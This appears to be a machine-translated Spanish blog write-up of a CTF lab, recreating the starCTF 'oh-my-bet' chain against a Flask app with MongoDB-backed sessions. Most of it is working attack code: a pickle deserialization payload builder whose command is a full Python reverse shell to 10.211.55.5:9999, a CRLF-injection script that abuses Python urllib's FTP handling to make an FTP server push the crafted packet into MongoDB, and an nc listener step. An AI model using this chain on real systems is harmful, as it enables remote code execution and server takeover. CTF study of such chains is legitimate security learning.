Cómo usar SSRF para controlar el servidor FTP para atacar el mongodb en la intranet

1. Antecedentes

Recientemente, estoy tratando de hacer oh-my-bet en starCTF, y necesito usar la vulnerabilidad CRLF para controlar FTP para enviar paquetes de datos a mongodb para modificar el contenido en mongodb. Intenté construir un entorno simple manualmente para realizar el proceso general.

2 Configuración del entorno

Utilice dos máquinas virtuales + máquinas host para implementar todo el proceso:

  1. Host (servidor web)
  2. Máquina virtual (servidor utilizado para atacar)

2.1 Construya un entorno mongo (host y máquina virtual)

Tanto la máquina host como la máquina virtual necesitan construir el entorno mongo. Para no superponerse con el mongo del host, utilizo el puerto 27018

docker run -itd --name mongo -p 27018:27017 mongo

2.2 matraz (anfitrión)


#!/usr/bin/env python
# -*- coding:utf-8 -
from flask import Flask, session
from flask_session import Session
import pymongo

app = Flask(__name__)

app.debug = True
app.secret_key = 'f4545478ee86$%^&&%$#'
app.config['SESSION_TYPE'] = 'mongodb'  # session 类型为 mongodb

app.config['SESSION_MONGODB'] = pymongo.MongoClient(host='127.0.0.1', port=27018)
app.config['SESSION_MONGODB_DB'] = 'admin'
app.config['SESSION_MONGODB_COLLECT'] = 'sessions'

# 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_PERMANENT'] = True
# 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_USE_SIGNER'] = False
# 保存到session中的值的前缀
app.config['SESSION_KEY_PREFIX'] = 'session:'

Session(app)

@app.route('/')
def index():
    session['name'] = 'slug01sh'
    return 'hello mongo'

@app.route('/get')
def get():
    b = session.get('name')
    return b

if __name__ == '__main__':
    app.run()

La aplicación del matraz Hay dos caminos /y/get

  • / La sesión se puede inicializar
  • /getLa sesión se puede sacar de mongo (se realizará la deserialización)

Visite http://127.0.0.1:5000 y consulte la consola para obtener la sesión como: 922b2d8f-26c8-4146-8742-9d62b3988a17

2.3 paquete de datos mongo (máquina virtual)

Genere el paquete de datos mongo en la máquina virtual y guarde el archivo binario en el directorio raíz de FTPD. (Aquí, abrevié algunos pasos. En oh-my-bet, primero debes subir el archivo al servidor FTP, guardarlo como un archivo y luego enviarlo a mongo. Aquí genero directamente el paquete de datos y lo guardo al servidor FTP)

Pymongo necesita modificar el paquete antes de generar el network.pyarchivo, para capturar paquetes. Utilice el siguiente comando para encontrar la ubicación de pymongo.

python3 -c "import pymongo;print(pymongo.__file__)" 

Corre para encontrar el camino de Pymongo

Use la palabra clave sendall para buscar

antes de intentar, agregue el código como se muestra en la figura:

if b'session:' in msg:
    e = Exception()
    e.message = msg
    raise e

Finalmente, el paquete de datos mongo (archivo binario) se genera en el directorio del servidor ftp

from pymongo import MongoClient
import pickle
import os

# 构建反序列化
def get_pickle(cmd):
    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))

    return pickle.dumps(exp())

# 获取mongo的请求包
def get_mongo(cmd):
    client = MongoClient('127.0.0.1', 27018)
    coll = client.admin.sessions
    try:
        coll.update_one(
            {
    
    'id': 'session:922b2d8f-26c8-4146-8742-9d62b3988a17'},
            {
    
    "$set": {
    
    "val": get_pickle(cmd)}},
            upsert=True
        )
    except Exception as e:
        return e.message

if __name__ == '__main__':
    packet = get_mongo(
        cmd="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.5",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")

    print(packet)

    file = open('slug01sh', 'ab')
    file.write(packet)

Recuerde modificar la sesión anterior (mongo encuentra usuarios a través de la sesión) y cmd (comandos que se ejecutarán durante la deserialización).

Ejecute el script para generar el paquete de datos mongo

2.4 servidor FTP (máquina virtual)

Código fuente del servidor FTP

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()

authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")

handler = FTPHandler
handler.permit_foreign_addresses = True
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer

server = FTPServer(("10.211.55.5", 8877), handler)
server.serve_forever()

Estado operativo:

3 ataque

Preparar el script CRLF

import urllib.request

def get_port_cmd(host):
    ip, port = host.split(':')
    ip = ','.join(ip.split('.'))
    port = int(port)
    return f'port {ip},{port // 256},{port - port // 256 * 256}'


if __name__ == '__main__':
    # 向本地的FTP发送消息
    target = '10.211.55.5:8877'

    # FTP的消息
    commands = ['type i', get_port_cmd(host='10.211.55.2:27018'), 'retr slug01sh']
    commands_str = '\r\n'.join(commands)
    commands_str = urllib.parse.quote(commands_str)

    url = 'ftp://fan:root@'+target+'/\r\n'+commands_str
    urllib.request.urlopen(url)

Versión de Python que puede ejecutar el script:

  • Urllib en Python 3.xa 3.7.2

Ejecute el código CRLF, puede ver que el servidor FTP en la máquina virtual muestra que la transmisión se realizó correctamente.

Use Navicat para conectar mongo, observe la colección, puede encontrar que puede juzgar si la actualización es exitosa por la longitud de val.

Use nc -lvp 9999 en la máquina virtual para esperar el shell de rebote y use un navegador para visitar http://127.0.0.1:5000/get

Supongo que te gusta

Origin blog.csdn.net/qq_43085611/article/details/113746935
Recomendado
Clasificación